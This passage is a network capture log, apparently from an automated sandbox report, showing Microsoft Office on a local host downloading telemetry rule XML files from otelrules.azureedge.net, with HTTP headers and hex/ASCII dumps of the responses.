2024-11-15 18:39:32 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:32 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183932Z-16547b76f7fwvr5dhC1DFW2c940000000nd000000000hha7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:32 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:33 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:33 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:33 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183933Z-16547b76f7fljddfhC1DFWeqbs00000002f000000000nvf4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:33 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:33 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:33 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:33 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 70b2909d-801e-00ac-33c1-2cfd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183933Z-16547b76f7f7scqbhC1DFW0m5w0000000nag00000000kwx2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:33 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:33 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:33 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:33 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 49ec1b51-d01e-00ad-4caf-36e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183933Z-1866b5c5fbbz7hb5hC1DFWru7c00000001fg00000000mfat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:33 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:33 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:33 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:33 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 40dd3742-a01e-0002-350c-365074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183933Z-1866b5c5fbb9m92fhC1DFWwu7800000001w0000000003by0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:33 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.7	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:33 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:33 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:33 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b0821c67-a01e-0050-16a0-34db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183933Z-164f84587bfpc2cvhC1DFW7gdw00000001mg0000000034a9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:33 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.7	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:34 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:34 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:34 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e5da6ec4-101e-00a2-2716-369f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183934Z-164f84587bfdx9djhC1DFW956g00000001r000000000nq31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:34 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.7	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:34 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:34 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:34 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 93dd010c-d01e-0014-6aab-36ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183934Z-16547b76f7fk9g8vhC1DFW825400000002ag00000000xwte x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:34 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.7	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:34 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:34 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:34 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 98909b4d-d01e-002b-39d2-2c25fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183934Z-16547b76f7fd4rc5hC1DFWkzhw00000002100000000078n5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:34 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:34 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:34 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:34 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 2ce7ce6f-901e-002a-1fd2-2c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183934Z-16547b76f7ffx24hhC1DFW9px400000001900000000071q8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:34 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.7	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:34 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:34 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:34 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a94ee65e-c01e-007a-7daf-36b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183934Z-16547b76f7f67wxlhC1DFWah9w0000000ne000000000r5q3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:34 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:35 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:35 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:35 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 6cee656e-501e-007b-6d86-365ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183935Z-164f84587bfjxw6fhC1DFWq94400000001sg00000000ew22 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:35 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 